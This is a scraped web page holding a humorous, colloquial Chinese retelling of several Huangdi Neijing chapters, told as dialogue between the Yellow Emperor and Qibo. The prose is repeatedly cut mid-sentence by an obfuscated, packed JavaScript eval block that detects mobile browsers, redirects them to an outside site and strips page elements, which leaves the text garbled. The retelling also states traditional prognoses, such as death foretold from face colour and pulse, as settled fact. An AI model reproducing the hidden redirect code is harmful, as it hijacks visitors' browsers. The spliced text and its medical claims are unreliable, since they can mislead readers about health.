岐伯老师笑眯眯地回答：“黄帝陛下，您这问题真有深度！且听我细细道来。这‘六六之节’、‘九九制会’，说白了，就是给天地的运行和气候变化定规矩的。想象一下，天有它的‘度量’，那就是日月怎么跑的；气有它的‘数’，那就是万物怎么生怎么长的。天为阳，地为阴，日也阳，月也阴，它们各走各的道，但合起来就形成了一个完美的年度循环。月亮跑得快，一个月多跑那么一点点，结果一年下来，加上那多出来的一点点，就有了三百六十五天，偶尔还得加个闰月来平衡一下。” 黄帝点点头：“嗯，天的‘度量’我算是明白了，那‘气数’又是怎么跟这些对应上的呢？” 岐伯接着说：“您别急，听我慢慢讲。天用‘六六’来划分时间，地呢，就用‘九九’来整合信息。天上有十天干，每天干转六圈就是一年，就像我们说的‘六六大顺’，转满六圈就是一年到头，总共三百六十天，多标准！自古以来，生命就与天地相通，根源在阴阳。您想啊，咱们身体里的九州（泛指全身）、九窍（眼耳鼻口等），都跟天气有联系。生命里藏着五行，气分三才（天、地、人），三三得九，多巧妙！这九又分九野（古代对地域的划分），九野对应九脏（中医里的概念，不完全等同于现代医学的脏器），有形体的四个脏，还有精神的五个脏，加起来正好九个，完美对应上天的规律啦！” 黄帝说：“我已经听说过六六九九的循环之理了，您刚才提到积气盈闰，我特别好奇，这‘气’到底是个啥玩意儿？您可得给我这糊涂脑袋开开窍啊！” 岐伯微微一笑，故作神秘地说：“这可是上天的秘密，不过嘛，我先师已经传授给了我。既然陛下这么感兴趣，那我就讲讲吧。” 黄帝连忙点头：“快说吧，快说吧，我这耳朵都竖起来了！” 岐伯开始解释道：“嗯，简单来说，五天呢，我们叫它一候；三候加一起，那就是一气了；六气轮完，就是一个季节；四季更迭，那就是一整年啦。它们各自都有自己管的事儿，就像轮流值班一样。五运呢，也是这么周而复始地运转着，每年到点儿就重新开始。时间一到，气就开始布散，就像个没头没尾的圆环，候也是这么个理儿。所以啊，你要是不知道每年气的变化、盛衰，还有虚实是怎么来的，那可就当不了好医生了！” 黄帝挠挠头：“这五运跟个环似的转个不停，那要是太过了或者不够了，会咋样呢？” 岐伯说：“五气轮流坐庄，各有各的强项和弱点，盛衰变化那是常态。就像咱们玩游戏，总有输赢嘛。” 黄帝又问：“那要是五气都平平稳稳的呢？” 岐伯回答：“那就是刚刚好，谁也没欺负谁，谁也没被欺负。” 黄帝追问：“那太过或不及的时候怎么办？” 岐伯说：“这书上都有写呢，陛下可以自己翻书看。” 黄帝好奇：“啥是‘所胜’啊？” 岐伯解释：“就是五行相克嘛，比如春天能压制长夏，长夏又能压制冬天，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318148|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此类推。这就叫五行相胜，每个季节都有它自己的‘气’，影响对应的脏腑。想知道谁胜了谁，就看气来的时间。如果气来得早，那就是太过了，它会欺负那些弱小的气，还会乱窜，导致它该生的东西生病，被它克的气也受委屈，这叫‘气迫’。如果气该来没来，那就是不及了，被克的家伙就会趁机作乱。所以啊，医生得时刻关注气的变化，才能对症下药。要是错过了时机，那就麻烦了，病邪就会从内部滋生，到时候医生也束手无策了。” 黄帝听完，连连点头：“哎呀，这气学问可真不小啊，我得好好琢磨琢磨！” 黄帝问：“自然界的气候变化有没有不遵循常规的时候呢？” 黄帝又问：“如果遇到非比寻常的气候变化，该怎么办呢？”岐伯笑着回答：“老天爷的心情嘛，就像咱们的天气一样，偶尔也会不按常理出牌。当气候不再按照常规轮转，那就是所谓的‘非常’了，一‘非常’，自然就得变天了。” 岐伯接着说：“这变化一来，人就容易生病。如果病邪被你身体里的‘克星’给压制了，那还好，症状就轻；要是遇上你身体搞不定的病邪，哎哟，那就严重了。再赶上这时候你又被其他邪气给‘偷袭’了，那可就真危险了，所以说，不是病邪的旺季还好对付点，一到它的主场，那可就是‘病来如山倒’了。” 黄帝点头：“嗯，有道理！我听说啊，气与气相遇能形成万物，而万物的变化又能反映出它们各自的特性。那天地的运转、阴阳的交替，对万物的影响，到底是哪个更多点，哪个更少点呢？说来听听？” 这章没有结束，请点击下一页继续阅读！ 五藏生成篇第十 咱们的心脏啊，它的好朋友是血脉，就像河流滋养大地一样，血脉的颜色就是心脏健康的晴雨表，而这一切的背后大佬是肾脏，它在默默调控着呢！ 再来说说肺，它的好基友是筋，想象一下，肺活量大的人是不是连筋骨都显得更有弹性？肺的健康直接反映在咱们的指甲上，光泽亮丽就是肺在笑哦！不过呢，肺的主宰还是它自己，毕竟“我的地盘我做主”！ 脾胃这对CP，脾胃相合，肉就长得好，嘴唇也是它们的小广告牌，红润有光泽说明脾胃和谐。但这里有个小插曲，说脾胃的“老大”是肝，哈哈，看来肝是个幕后大Boss，啥都管一点！ 肾脏呢，它的铁哥们儿是骨头，头发则是它的荣耀象征。肾好，骨头硬，头发黑亮不掉，但吃多了咸东西，肾就不高兴了，骨头疼，头发也跟着遭殃。 说到吃，五味入五脏，各有讲究。吃太咸，血脉就不流畅了；吃苦太多，皮肤干巴巴像树皮；吃辣过头，筋扯得紧，指甲都没光泽了；酸吃多了，肉变硬，嘴唇还脱皮；甜食过量，骨头疼，头发也掉得快。看来，吃货们也得悠着点，平衡才是王道！ 反过来想，五脏也有它们的小偏好：心喜欢苦，肺偏爱辛，肝钟情于酸，脾钟爱甘，肾则对咸情有独钟。这就像每个人都有自己的口味，对吧？ 再来说说五色与健康的那些事儿。脸上颜色要是青得像没熟的草，黄得像快烂的橘子，黑得像煤球，红得像鲜血，白得像鬼，哎呀，这可不是好兆头，得赶紧调理！但要是青得像翡翠，红得像鸡冠，黄得像蟹黄，白得像猪油，黑得像乌鸦羽毛，那就恭喜啦，健康满满！ 最后，五脏的健康还会在咱们身上留下独特的“印记”：心脏健康，皮肤下透着红，像红绸裹着朱砂；肺好，则是白里透红，像白布裹着玫瑰；肝好，皮肤下隐隐有绿意，像白布下的橄榄；脾好，则是黄得温润，像白布裹着甜瓜；肾好，则是紫气东来，像白布下的紫罗兰。这些都是五脏在咱们身上留下的美丽印记哦！ 想象一下，咱们身体里的各种“线路”和“零件”啊，都像是精密的机器部件，各有各的归属地。比如，眼睛是各路“视线”的总部，大脑则是所有“智慧髓液”的大本营；关节是“筋条军团”的集结点，心脏则是“热血工厂”，专门负责生产“生命之血”。而肺部呢，则是“气量担当”，掌管着全身的呼吸节奏。这些啊，就像是咱们每天早晚都要走一遍的“四肢八卦阵”，各有其妙用。 说到血，这家伙可是个勤劳的快递员，晚上咱们一躺下，它就乖乖回到肝脏“充电站”休息，顺便给眼睛加点油，让咱们第二天能看得清；脚底板、手掌心、手指头也全靠它的滋润，才能走得稳、抓得牢、拿得准。但如果晚上出去浪，被风一吹，血就在皮肤下面“堵车”了，变成“痹症”；堵在血管里就成了“淤血”；堵在脚上，嘿，那就是“脚麻”了。所以啊，晚上还是老实点，别乱跑，让血好好回家！ 咱们身体里还有个大秘密，就是那些“大谷小溪”的穴位，足足有三百多个，外加十二个重要的“小水库”（俞穴），这些地方都是“卫气小分队”的驻扎地，也是“邪气坏蛋”爱来捣乱的地方。不过别怕，针灸和砭石就是它们的克星，专治各种不服！ 看病嘛，就像破案，得有个头绪。开头五招（五决）是关键，想知道病根在哪，先得找到它的“老巢”。比如说，头疼脑热，下面空虚上面火大，那多半是肾和膀胱的“小情绪”；眼睛模糊、耳朵背气，下面实上面虚，可能是肝和胆在“闹别扭”。肚子圆滚滚、胸口气不顺，那得查查脾胃和肺；咳嗽气喘，胸口堵得慌，手阳明和手太阴可能得背锅；心烦意乱加头疼，那鬲中（差不多就是胸腹那块） ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318149|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和手太阳、手少阴得好好查查。 最后，咱们中医看病讲究“望闻问切”，脉象的大小、滑涩、浮沉，一摸就知道；五脏六腑的健康状况，也能从脸色、声音、手感这些线索里推理出来。把脉和看色结合起来，简直就是医学界的“福尔摩斯”，什么病都逃不过咱们的火眼金睛！ 哎呀，说起这脉象啊，简直就是身体里的“小侦探”！咱们先来聊聊“赤脉”——这家伙一来，人就开始喘气，脉还跳得特坚定，就像是心里有块大石头。医生一搭脉，就会说：“嘿，你肚子里攒了不少气呢，吃饭都不香了，这叫心痹。多半是因为外面受了啥刺激，心里又老琢磨事儿，心一虚，邪气就趁机溜进来了。” 再来说说“白脉”，它一来，人也是喘，但脉是浮的，感觉上半身轻飘飘，下半身却沉甸甸的，还容易受惊。这就像是胸中有团积气，喘气都虚，得了个“肺痹”。冷热交替的，八成是喝醉了乱来导致的。 接下来，“青脉”登场，长又带弹性，左右乱蹦，这是心下面那块地界儿堵了气，叫做“肝痹”。跟寒湿、疝气一个路子，腰疼、脚冷、头疼，全找上门了。 “黄脉”呢，大而无力，说明肚子里有积气，还可能有股气儿乱窜，导致“厥疝”，女的也逃不掉这毛病。为啥？还不是因为干活太猛，四肢冒汗后又吹风受凉了呗。 最后，“黑脉”，上面硬邦邦，下面还大，说明小腹和 私处那块儿积了气，这就是“肾痹”。这病怎么来的？八成是洗完澡直接躺床上，没擦干就睡了，寒气就这么悄咪咪地侵入了。 至于脸上的颜色搭配嘛，有个口诀：黄脸配青、红、白、黑眼，那都还好说，死不了；但要是青脸对红眼，红眼对白眼，青脸对黑眼，黑脸对白眼，红眼对青眼，哎呀妈呀，那可就真的是“色彩虽好，命却不保”了！ 五藏别论篇第十一 黄帝好奇宝宝上线啦，他挠着头问岐伯大夫：“嘿，老岐啊，我听说那些个方士啊，对人体结构的看法千奇百怪。有的说脑髓是脏，有的坚持肠胃才算脏，还有的把肠胃归为腑，你说这观点咋就这么五花八门，还都自个儿觉得特对呢？我这心里头跟迷宫似的，转不过来弯儿，你给咱捋捋这其中的门道呗。” 岐伯大夫捋了捋胡子，笑眯眯地说：“好嘞，皇上您听好了。这脑啊、髓啊、骨头、血管、胆，还有女子的胞宫，这六样宝贝，都是大地妈妈孕育的精华，它们喜欢躲在身体里的阴凉角落，跟大地一样稳重，只进不出，咱们管它们叫‘奇恒之府’，意思就是特别稳定、不寻常的藏身之处。 反观胃、大肠、小肠、三焦、膀胱这五兄弟，它们可是天空之子的化身，性格活泼，喜欢流通不喜欢囤货，专门负责处理五脏排出来的‘垃圾’，咱们就叫它们‘传化之腑’。这五兄弟啊，就像快递小哥，东西到了就得送出去，不能积压，连咱们的‘后门’——肛门，也是五脏的得力助手，确保水谷精华不留恋，该走就走，绝不拖泥带水。 至于五脏嘛，那可是咱们的‘小金库’，专门收藏精气，只进不出，所以总是满满的，但绝不臃肿。而六腑呢，就像是家里的传送带，不停地把食物转化成能量，再排出去，所以它们总是忙碌地充实着，却从不显得满胀。这就好比您吃饭，刚咽下去时胃是满的，肠子空着；等食物下去了，肠子满了，胃又空了，这就是‘实而不满，满而不实’的奥妙所在。” 黄帝听得津津有味，又抛出一个问题：“哎，老岐，你说这手腕上的气口（中医把脉处），咋就成了五脏的代言人啦？” 岐伯接着说：“皇上您问得好！胃啊，那可是咱们身体里的‘粮仓’，六腑的老大。您吃进去的每一样美味，都得先经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318150|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胃的精心照料，转化成能量滋养五脏六腑。而气口，其实就是咱们手腕上的一个小小窗口，它跟胃的关系铁得很，五脏六腑的健康状况，都能通过它反映出来。就像咱们看天气预报，一眼就知道明天是晴是雨。所以啊，中医把脉，就是通过这个小窗口，窥探身体内部的风云变幻。 再说了，鼻子跟心肺也是好基友，心肺要是有个头疼脑热，鼻子立马就不通气了，这也是个很好的健康指示器。治病这事儿啊，得全面考虑，得看看病人的吃喝拉撒，摸摸脉象，再聊聊心情，这样才能对症下药。要是有人迷信鬼神，不相信医学的奥秘；或者害怕针灸石疗，觉得那是啥酷刑；再或者自个儿放弃治疗，那咱大夫也是巧妇难为无米之炊，治起来难啊，难如上青天喽！” 黄帝听完，哈哈大笑：“老岐啊，你这解释比宫里的说书先生还精彩，既科学又接地气，朕算是彻底明白了！” 异法方宜论篇第十二 黄帝陛下悠悠地开了腔，一脸好奇宝宝的样子：“嘿，岐伯老兄，你说咱们这当大夫的，治病救人那活儿，真是玄之又玄！你说奇不奇怪，同一种病，咱们换个思路，换个法子，嘿，最后都能把人给整得活蹦乱跳的。这背后的门道，你给咱好好说道说道？” 岐伯闻言，嘴角勾起一抹神秘的微笑，那笑容里仿佛藏着上下五千年的智慧与幽默：“陛下您这问题，问得那叫一个深刻，简直就是直击灵魂啊！这事儿，咱们得从咱们脚下这片神奇的土地聊起，说白了，就是‘地势’这家伙在暗中捣鼓呢！” “您瞅瞅东边那块宝地，那可是大自然的摇篮，海鲜盛宴天天上演，鱼啊、虾啊、蟹啊，应有尽有，海边的人儿，吃饭没点儿盐味儿，那简直跟没吃饭似的。结果呢，鱼吃多了，体内热火朝天，跟个小火炉似的；盐吃多了，血液里都带着海的味道，循环起来都自带加速效果。所以啊，东边的人，皮肤晒得黑黝黝的，毛孔大得像能装下小蚂蚁，时不时还冒出个痈啊、疡啊的，跟海边风景一样‘独特’。对付这些个‘特产’，咱们有妙招——砭石疗法！您想啊，这砭石，简直就是古代的‘刮痧神器’，纯天然，绿色无污染，刮一刮，通经活络，排毒养颜，效果杠杠滴，据说还是从东边渔民那儿流传开来的呢！” “再转头看看西边，那叫一个金碧辉煌，但同时也是风沙的乐园。西边的人民，住在山坡上，每天跟大风玩躲猫猫，吃的穿的，那叫一个讲究，油腻程度直逼满汉全席。身体嘛，自然是练就得铜皮铁骨，外邪想靠近？门儿都没有！但话又说回来，这内部就容易出乱子了，得用点狠角色，咱们中医里说的‘毒药’，别害怕，这里的‘毒药’可不是杀人不见血的玩意儿，而是药性强烈，专治疑难杂症的中药瑰宝。据说这些个猛药，也是西边特有的，对付那些个‘内部叛乱’，那是一用一个准儿，专治各种不服！” 说到这里，黄帝陛下眼睛一亮，仿佛打开了新世界的大门：“嘿，岐伯，你这么一说，我算是明白了，原来治病还得看地势，看人，得因地制宜，因人而异啊！” 岐伯点头如捣蒜，继续他的科普小课堂：“那是自然，咱们中医讲究的就是个‘天人合一’，人与自然的和谐共处。东边的人，咱们得温柔以待，用砭石轻轻刮去体内的燥热，就像给大海边的沙滩做SPA；西边的人嘛，就得来点猛的，用那些药性强烈的中药，深入内部，来个彻底的大扫除。这不仅仅是治病，更是一种生活的智慧，一种对自然的敬畏和顺应。” “而且啊，陛下，您知道吗？这治病的过程，其实就像打游戏升级一样，每个关卡都有不同的BOSS，咱们得根据BOSS的特点，选择合适的武器和技能。有时候，一个看似不起眼的草药，可能就是通关的钥匙；有时候，一次简单的刮痧，就能让人焕然一新。这就是中医的魅力所在，它不仅仅关注病症本身，更关注人的整体状态，追求的是身心的和谐与平衡。” “北边那疙瘩，简直就是冬天的代名词，冷得能掉牙，雪花满天飞，寒风能把你吹得怀疑人生。走在街上，感觉自己就像是行走的冰棍，全身都得靠抖来取暖。但您知道吗？就这样的环境下，那儿的人民可生猛了，不仅爱往雪地里扎猛子，滑雪、溜冰那是家常便饭，还特爱大口吃肉，大口喝奶，活生生把自个儿养成了“耐寒小能手”。不过呢，这饮食习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318151|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上天生的“寒性体质”，肚子时不时就得闹点小情绪，不是胀气就是消化不良。这时候，咱们老祖宗的智慧就派上用场了——艾灸大法！ 想象一下，寒风凛冽的夜晚，你蜷缩在温暖的屋子里，身上贴着几个热乎乎的艾灸盒，那感觉，就像是冬日里的一把火，直接暖到了心窝里。艾草的香气弥漫，不仅驱散了身体的寒气，还顺便给脾胃来了个温柔的按摩，那些个肚子胀、不消化的小毛病，在艾火的温柔攻势下，统统缴械投降。这艾灸啊，简直就是北方人民的冬日暖宝宝，既古老又时尚，让人不得不感叹，老祖宗的智慧真是杠杠的！” 再来说说咱们温暖的南边，那里简直是四季如春，绿意盎然，阳光洒在身上，暖洋洋的，感觉整个人都要融化了。南边的人儿，讲究的是“食在广州”，酸的、辣的、发酵的，样样都来点，吃得那叫一个津津有味。这饮食习惯啊，让他们的皮肤细腻得像剥了壳的鸡蛋，红润有光泽，走在大街上，那叫一个养眼。但话说回来，这潮湿温暖的环境，也容易让关节和肌肉闹些小情绪，比如风湿啊、关节炎啊，时不时就来拜访一下。 这时候，就该轮到咱们的“九针大法”闪亮登场了！这可不是普通的针灸，而是集合了古代医学精髓的精细活儿，每一针都蕴含着深厚的学问和技巧。据说这九针啊，最早就是从南边流传开来的，针对不同的病症，有长有短，有粗有细，简直是针灸界的“瑞士军刀”。大夫们轻轻一扎，针到病除，那些关节肌肉的疼痛，就像被春风拂过一般，瞬间消散得无影无踪。您说这九针神奇不神奇？ 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 移精变气论篇第十三 黄帝好奇地问：“我听说古时候治病，医生们主要靠调整病人的精神状态，用些祝祷的方法就能搞定。但现在呢，动不动就是内服药物，外用针灸，效果还时好时坏，这是为啥呢？” 岐伯老师悠悠答道：“想当年，人们跟禽兽为邻，生活简单，冬天多动动避寒，夏天找个阴凉地避暑，心里没啥牵挂，身体也不受官场那套折腾，这日子多清净啊，邪气哪敢轻易入侵？所以，那时候根本不需要复杂的药物和针灸，精神疗法就足够了。但现在嘛，人心复杂，烦恼多多，身体还老得跟大自然对着干，不按季节穿衣，不避风寒，结果病邪就趁机而入，从里到外把身体祸害个遍。小病拖成大病，大病直接要命，这时候光靠祝祷可就不灵了。” 黄帝点头：“说得好！那我要是想快速判断病人的生死，解决疑难杂症，就像看日月光那么清楚，有啥秘诀不？” 岐伯微微一笑：“秘诀嘛，就俩字——‘色’和‘脉’。这可是老天爷赐的宝贝，也是咱们老祖宗传下来的绝学。古时候有个高人叫僦贷季，他就精通这套，通过观察病人的脸色和脉象，再结合五行、四季、风向这些自然规律，就能洞察病情，妙手回春。你要想学这本事，就得把色和脉琢磨透了。脸色就像晴雨表反映太阳，脉象则是月亮的阴晴圆缺，掌握了它们，就等于掌握了生命的奥秘。这样看病，自然能远离死亡，靠近健康，这才是真正的‘圣手’啊！” “再来说说治病的方法吧，中古时期，人们讲究的是病一来就用汤药，十天八天的，对付那些风邪、痹症啥的挺有效。如果十天没好，那就加点草药辅助，从根儿上治，邪气自然就服了。可到了现在，有些医生啊，治病不看天时地利人和，病人都快不行了，才想起用针灸、汤药来补救，还自以为是地猛攻，结果旧病没去，新病又添，真是让人哭笑不得啊！” 黄帝说：“嘿，老师，我就想听听那治病的精髓秘诀！” 岐伯捋了捋胡子，慢悠悠地说：“治病的关键啊，就是要紧盯那病人的脸色和脉象，用起药来毫不含糊，这可是治病的黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318152|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金法则哦！要是反着来，搞不清楚轻重缓急，就像国家丢了魂儿，乱套了！得学会抛弃旧观念，接纳新方法，这样才能成为治病救人的真·大神！” 黄帝一听，连连点头：“哎呀，老师您这金句频出啊，我听进去了！您老是离不开谈这脸色脉象，这我早知道了。” 岐伯笑了笑，高深莫测地说：“治病的最高境界，其实就是一个字——‘一’。” 黄帝一脸疑惑：“啥？就一个字‘一’？这能有啥说法？” 岐伯解释道：“这‘一’啊，意思是得通过细致的问诊来找到它。你得关上门窗，和病人一对一，耐心地多问几句，了解他们的真实情况，顺着他们的心意来。要是能从他们的回答里看出精神头儿来，那病就好治了，反之，要是病人都没了神儿，那可就悬了。” 黄帝听后，拍掌大笑：“哈哈，老师您这解释，既接地气又带点哲学味儿，我算是服了！以后治病问诊，我一定牢记‘一’字诀，多问多听，争取做个受欢迎的‘神医’！” 汤液醪醴论篇第十四 黄帝有一天突发奇想，对着他的健康顾问岐伯问道：“嘿，岐伯兄，咱们聊聊怎么整点五谷精华的汤汤水水，还有那传说中的醪醴美酒呗，咋整才地道？” 岐伯一听，捋了捋他那飘逸的胡须，慢悠悠地说：“哎呀，陛下，这事儿得讲究。首先，材料得选上乘的稻米，还得用稻秆当柴火煮，为啥呢？这稻米啊，它完美无瑕，吸收了天地的精华；而那稻秆，坚韧不拔，正是因为它们都是在最合适的时候被收割的，所以才能达到如此境界。” 黄帝一听，更来劲了：“哦？还有这等讲究？快说说，为啥这么神奇？” 岐伯微微一笑，解释道：“陛下，您想啊，这稻米和稻秆，它们可都是顺应自然规律生长的，天时地利人和，自然就能达到完美的状态。稻米吸收了大地的滋养，饱满圆润；稻秆则是因为在最佳时机被收割，所以格外坚韧。这样的材料做出来的汤液和醪醴，能不厉害吗？” 黄帝点点头，又抛出一个问题：“我听说上古时期的圣人们也捣鼓过这些汤液醪醴，但他们做了却不用，这是为啥呢？” 岐伯叹了口气，说：“陛下，您有所不知啊。那些上古圣人，他们可是高瞻远瞩，制作这些汤液醪醴，纯粹是为了以备不时之需，就像咱们现在备个急救包一样。那时候的人们，与天地和谐共生，疾病少，自然用不着这些。但到了中古时代，世道变了，道德风气稍微下滑，邪气也时不时来捣乱，这时候，这些汤液醪醴就成了救命稻草，一用就灵。” 黄帝听得津津有味，接着问：“那为啥到了咱们这个时代，感觉效果就没那么明显了呢？” 岐伯神色凝重起来：“陛下，您也知道，现在这世界啊，诱惑多，压力大，人们的心神容易受到干扰，身体也更容易出问题。所以啊，光靠这些温和的汤液醪醴已经不够了，得内外兼修，用些猛药来攻克体内的顽疾，再用针灸、拔罐、艾灸这些外治法来调理。” 黄帝眉头一皱：“可是，有时候明明用了很多方法，还是不见效，人都快被折腾得形销骨立了，这是为啥呢？” 岐伯叹了口气，语重心长地说：“陛下，这就涉及到更深层次的问题了——神不使也。这里的‘神’，我们可以理解为人的意志、精神力量。当一个人心神不宁，意志消沉，即使外界给予再多的帮助，也很难达到预期的效果。因为真正的康复，不仅仅是身体的修复，更是心灵的觉醒和力量的重燃。” 黄帝若有所思地点点头：“原来如此，那‘神不使’具体怎么理解呢？” 岐伯继续解释道：“简单来说，就是当一个人失去了对生活的热爱，对未来的希望，对健康的追求，他的身体就会像一盏失去灯芯的油灯，再怎么加油也亮不起来。所以，我们在治疗身体的同时，更要关注患者的心理状态，帮助他们重拾信心，激发内在的正能量，这样才是真正的治愈之道。” 说到这里，岐伯顿了顿，又笑道：“陛下，您看，养生治病这事儿，其实也是一门艺术，得用心去感受，用爱去传递。就像咱们做饭一样，材料要好，火候要足，更重要的是，得有一份对家人的爱，这样做出来的饭菜，才能既美味又健康，对吧？” 黄帝闻言大笑，连连点头：“岐伯兄言之有理，养生治病，确实得用心用情。以后咱们得多多推广这些理念，让百姓们都能健康快乐地生活！” 岐伯老先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318153|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捋着胡子，慢悠悠地说：“哎呀，这针啊石啊，可不仅仅是工具，它们里头藏着大学问，是调理身体的道法自然呢！” 他说啊，“要是人的精神头儿不足，意志消沉，那病啊，就像是黏在身上的小恶魔，赶都赶不走。为啥？因为咱们心里头的‘小宇宙’——精气神儿，它要是散了架，身体的卫兵（卫气）和营养液（营血）可就乱套了，收都收不回来。这就像是你手机电量耗尽，还想着打游戏，怎么可能嘛！” 岐伯接着摇头晃脑地说：“为啥精气神会散呢？还不是因为欲望太多，烦恼不断，就像手机后台开了无数个APP，还不给充电，能不卡吗？这样一来，精气跑得比兔子还快，营血干涸得像沙漠里的河，卫气也撤了岗，神就离家出走了，病自然就好不了啦！” 黄帝陛下听了，眉头一皱，说：“这病啊，刚开始的时候比蚂蚁还小，悄悄摸摸就钻进了皮肤里。可等我们发现的时候，哎呀，已经是‘病入膏肓’了，连最好的大夫都说，这病逆天了，针石良药都拿它没办法。” 黄帝陛下继续吐槽：“现在的医生，技术都不错，规矩也守得紧，天天围着病人转，亲戚朋友的问候声不断，眼睛都快看成万花筒了，怎么病还是治不好呢？难道真是咱们发现得太晚了吗？” 岐伯老先生微微一笑，高深莫测地说：“陛下啊，这病是主体，医生只是辅助的工具，就像打游戏，你是主角，医生是给你的装备。但如果装备再好，主角不操作，或者操作不对路，那怪也打不死啊！这就是所谓的‘标本不得’，邪气（病邪）自然就不服气了，继续在你身体里为非作歹。” 这章没有结束，请点击下一页继续阅读！ 玉版论要篇第十五 黄帝大大又发问了，他老人家好奇地问岐伯：“我听说啊，这医术里的‘揆奇恒’啊，听起来挺玄乎的，指的好像是一堆不同的门道，用起来有啥讲究不？”岐伯一听，嘿，这可是个好问题，于是他慢悠悠地开讲了： “黄帝啊，您这问得巧。这‘揆度’啊，就像是咱们看病时手里那把尺子，量一量病症是浅是深，心里有数。而‘奇恒’呢，那就是些不按常理出牌的疑难杂症了，得用特别的法子对付。说起来，医术的精髓啊，全在这一套理论里，看脸色、摸脉象，变化万千，但归根结底，道理都是相通的，就像一把万能钥匙，开遍天下锁。” “您知道不，这人体啊，就像个精密的机器，里面的‘神’啊，得转个不停，一旦停下来不转了，嘿，那就得大修特修了，搞不好还得报废呢。所以啊，咱们得抓住那微妙的关键时刻，把这些要点刻在玉版上，取名‘合玉机’，意思就是和人体的奥秘完美契合，简直就是医学界的秘籍宝典！” “说到脸色，那可真是千变万化，上下左右，各有各的讲究。要是病色浅浅的，就像脸上抹了层淡妆，那喝几副汤药，十天半个月就搞定；要是颜色深得跟熬夜三天三夜似的，那就得用猛药齐上阵了，二十一天左右应该能见好转；要是脸色灰暗得跟鬼一样，还伴有脱相，那可真就难办了，基本属于不治之症，顶多撑个百天。” “还有啊，脉象短促，气息微弱，那可是大凶之兆，基本上可以准备后事了。特别是那些温病虚得厉害的，更是危险。脸色和脉象啊，就像天气预报，告诉你身体的小秘密。” “再来说说这上下左右的学问，上面有毛病，那是不顺；下面出问题，相对还好办点。女子嘛，右边出问题麻烦大，左边则相对轻松；男子则正好相反，左边出状况得小心，右边则好处理些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318154|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 